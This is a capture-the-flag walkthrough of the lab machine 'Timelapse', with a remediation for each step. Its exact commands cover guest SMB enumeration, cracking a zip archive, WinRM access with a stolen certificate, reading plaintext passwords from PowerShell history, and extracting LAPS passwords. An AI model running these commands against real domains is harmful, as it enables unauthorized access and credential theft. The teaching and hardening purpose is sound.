J. Perez Duertojperezduerto.info
← all walkthroughs

Timelapse

Windows· Easy· Credential Access· Privilege Escalation
owned
2026-07-05
time to own
10m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I exploited guest-readable SMB shares to download a WinRM credential backup archive, cracked its weak password to extract a domain user's certificate, and authenticated to the domain controller over WinRM using that certificate. From that foothold I recovered a second account's plaintext password from PowerShell command history on disk, then leveraged that account's over-privileged LAPS read rights to extract the current local Administrator password from Active Directory — yielding full control of the domain controller.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNull Session / Anonymous SMB Enumeration
Logged in as guest to map SMB shares without any credentials
The domain controller accepted null-session and guest SMB connections. Without supplying any real credentials I enumerated all available network shares and brute-forced domain account names by cycling through Windows RID numbers — producing a list of valid user accounts to attack later.
Nxc output: 'timelapse.htb\guest:' authenticated successfully; 'Enumerated shares' returned IPC$, ADMIN$, and Shares. RID cycling revealed Administrator (500), Guest (501), krbtgt (502).
Exact commands 2
Enumerate shares via guest with no password.
nxc smb $TARGET -u guest -p '' --shares
RID-cycle to list domain accounts via null session.
nxc smb $TARGET -u '' -p '' --rid-brute
FixDisable anonymous and guest SMB access to the domain controllerMedium
WeaknessThe domain controller accepted null-session and guest SMB connections, allowing an unauthorised user to list shares and enumerate every domain account name without any credentials.
FixEnable the Group Policy setting 'Network access: Do not allow anonymous enumeration of SAM accounts and shares'. Set 'Network access: Restrict anonymous access to Named Pipes and Shares' to Enabled. Ensure the built-in Guest account is disabled (verify in Active Directory Users and Computers). Remove Everyone and ANONYMOUS LOGON from all non-public share ACLs. Validate the fix: nxc smb <DC_IP> -u '' -p '' --shares should return ACCESS_DENIED.
2DiscoverySMB Share Browsing
Found a WinRM certificate backup and LAPS documentation inside the public share
Browsing the guest-accessible 'Shares' share revealed a 'Dev' folder containing winrm_backup.zip — a backup of a WinRM client-authentication certificate — and a 'HelpDesk' folder with Microsoft LAPS installer files and documentation. The LAPS material confirmed that local Administrator passwords across the domain are managed and stored in Active Directory.
Share listing showed Dev/ containing winrm_backup.zip and HelpDesk/ containing LAPS installer/docs (Mon Oct 25 2021 timestamps).
Exact commands 2
Recursively list all files on the Shares share as guest.
smbclient -N //$TARGET/Shares -c 'recurse ON; prompt OFF; ls'
Download the credential backup archive over the null session.
smbclient -N //$TARGET/Shares -c 'cd Dev; get winrm_backup.zip'
FixRemove credential and certificate material from file sharesCritical
WeaknessA WinRM client certificate backup (PFX file inside a zip archive) was stored in an SMB share readable by unauthenticated guests. Any file placed in that share is effectively public to anyone who can reach port 445.
FixImmediately delete winrm_backup.zip and audit all SMB shares for any certificate files, credential exports, or configuration archives using 'Get-SmbShareAccess' and 'Get-ChildItem -Recurse'. Remove Everyone and Guest from share and NTFS ACLs. Certificate and private key material must never be stored on file shares; use a secrets manager (e.g., Azure Key Vault, HashiCorp Vault) or distribute certificates via a secure, authenticated endpoint only.
3Credential AccessArchive Password Cracking / PKCS#12 Certificate Extraction
Cracked the archive's weak password and extracted the legacyy certificate
The zip archive was protected only by a weak password that cracked in seconds against a common wordlist. Inside was a PFX file — a bundled certificate and private key — belonging to domain user 'legacyy', intended for certificate-based WinRM authentication. The certificate and key were split out of the PFX for use with evil-winrm.
Zip2john extracted the archive hash; john cracked the password using rockyou.txt. PFX for timelapse.htb\legacyy obtained.
Exact commands 5
Extract the password hash from the zip archive.
zip2john winrm_backup.zip > zip.hash
Crack the archive password offline.
john zip.hash --wordlist=/usr/share/wordlists/rockyou.txt
Extract the PFX file using the recovered password.
unzip -P <cracked_password> winrm_backup.zip
Export the private key from the PFX (enter cracked password at prompt).
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -nodes -out legacyy.key
Export the certificate from the PFX.
openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out legacyy.crt
FixEnforce strong passwords on any credential archives and eliminate unnecessary backupsHigh
WeaknessThe certificate backup archive was protected by a weak password that was cracked in seconds using a common wordlist. A password-protected archive is only as secure as the strength of its password.
FixRotate the legacyy WinRM certificate immediately (the private key is fully compromised). If portable certificate backups are operationally required, protect them with a randomly-generated passphrase of at least 20 characters (upper, lower, digits, symbols) stored in a password manager — never a dictionary word or short phrase. Prefer eliminating the backup entirely: issue new certificates via an internal CA and deliver them through an authenticated secrets pipeline rather than a manually-created zip file.
4Initial AccessCertificate-Based WinRM Authentication (T1021.006)
Authenticated to the domain controller as 'legacyy' using the stolen certificate
Using the extracted certificate and private key I connected to WinRM over SSL on port 5986 — no password required. This produced an interactive PowerShell shell on DC01 as timelapse.htb\legacyy and allowed the user flag to be read.
WinRM SSL confirmed on 5986/tcp (HTTP/2 405 banner). User.txt read from C:\Users\legacyy\Desktop\.
Exact commands 2
Open an authenticated shell using the stolen certificate; -S enables SSL on port 5986.
evil-winrm -i $TARGET -S -c legacyy.crt -k legacyy.key
Read the user flag -> <user.txt>
type C:\Users\legacyy\Desktop\user.txt
5Credential AccessCredentials in Files — PowerShell History (T1552.003)
Recovered svc_deploy's plaintext password from PowerShell command history
Windows PowerShell automatically saves every command typed at the prompt to a plain-text history file in the user's AppData folder. A previous operator had run a command that included svc_deploy's password directly on the command line, leaving it stored on disk in legacyy's profile. Reading that file instantly yielded the credential with no cracking required.
Plaintext credential [REDACTED: recovered credential] for svc_deploy recovered from the foothold session's PSReadLine history.
Exact commands 1
Read PowerShell command history for the legacyy account; reveals svc_deploy password in a prior command.
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
FixClear PowerShell history files and prohibit entering credentials at the command lineHigh
WeaknessA plaintext password for svc_deploy was left in legacyy's PowerShell PSReadLine history file on disk. Anyone who gains access to that user's profile can read stored credentials with a single command.
FixImmediately rotate the svc_deploy password. Delete all existing PowerShell history files on affected systems: Remove-Item "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -Force. Deploy a Group Policy that configures 'Set-PSReadLineOption -HistorySaveStyle SaveNothing' or redirects history to a protected location. Train staff to use Read-Host -AsSecureString or credential objects rather than typing passwords directly at a prompt. Audit all user profile history files for additional exposed credentials.
6Privilege EscalationLAPS Password Disclosure (T1552.001)
Read DC01's Administrator password out of Active Directory using svc_deploy's LAPS rights
LAPS stores a randomly-rotated local Administrator password for each managed computer in the Active Directory attribute ms-Mcs-AdmPwd. Only highly-privileged accounts should be able to read it. The svc_deploy account had been granted LAPS-reader rights, so with its plaintext password in hand I queried LDAP and retrieved the current Administrator password for DC01 directly — no brute force, no cracking.
Nxc LAPS module returned Administrator password [REDACTED: recovered credential] for DC01.timelapse.htb via svc_deploy's LDAP access.
Exact commands 2
Query ms-Mcs-AdmPwd via the LAPS module using svc_deploy credentials.
nxc ldap $TARGET -d timelapse.htb -u svc_deploy -p "$PASSWORD" -M laps
Alternative: query the attribute directly over LDAP.
ldapsearch -x -H ldap://$TARGET -D 'timelapse\svc_deploy' -w "$PASSWORD" -b 'DC=timelapse,DC=htb' '(ms-MCS-AdmPwd=*)' ms-MCS-AdmPwd
FixRestrict LAPS read permissions to only accounts that operationally require themCritical
WeaknessThe service account svc_deploy had been granted the LAPS extended right to read the ms-Mcs-AdmPwd attribute, giving it — and anyone who compromises it — the current local Administrator password for every LAPS-managed computer in scope.
FixAudit all LAPS delegations: run 'Get-LapsADComputerPassword' and review the ACLs on computer objects in AD for any account holding the 'Read ms-Mcs-AdmPwd' extended right. Remove svc_deploy from any LAPS-reader group or direct ACE. LAPS read access should be limited exclusively to Tier-0 accounts (domain admins or a dedicated LAPS service account) protected by privileged access workstations and strong MFA. Rotate the local Administrator password on DC01 immediately: 'Reset-LapsPassword -Identity DC01'.
7Full ControlPass-the-Password / WinRM Remote Execution (T1021.006)
Authenticated as Administrator using the LAPS password and captured the root flag
The LAPS-issued Administrator password opened a full administrative WinRM shell on DC01. The root flag was located under a non-standard user profile (C:\Users\TRX\Desktop\root.txt) rather than the Administrator desktop, found via a recursive directory search.
Evil-winrm authenticated as Administrator with LAPS password; root.txt retrieved from C:\Users\TRX\Desktop\.
Exact commands 3
Open a domain controller Administrator shell using the LAPS password.
evil-winrm -i $TARGET -S -u Administrator -p '$PASSWORD2'
Search all user profiles for root.txt — flag resides under TRX, not Administrator.
Get-ChildItem C:\Users -Filter root.txt -Recurse -Force -ErrorAction SilentlyContinue
Read the root flag -> <root.txt>
type C:\Users\TRX\Desktop\root.txt

Exposed services

53/tcp
88/tcp
135/tcp
139/tcp
389/tcp
445/tcp
464/tcp
593/tcp
636/tcp
3268/tcp
3269/tcp
5986/tcp
9389/tcp
49667/tcp
49673/tcp
49674/tcp
49693/tcp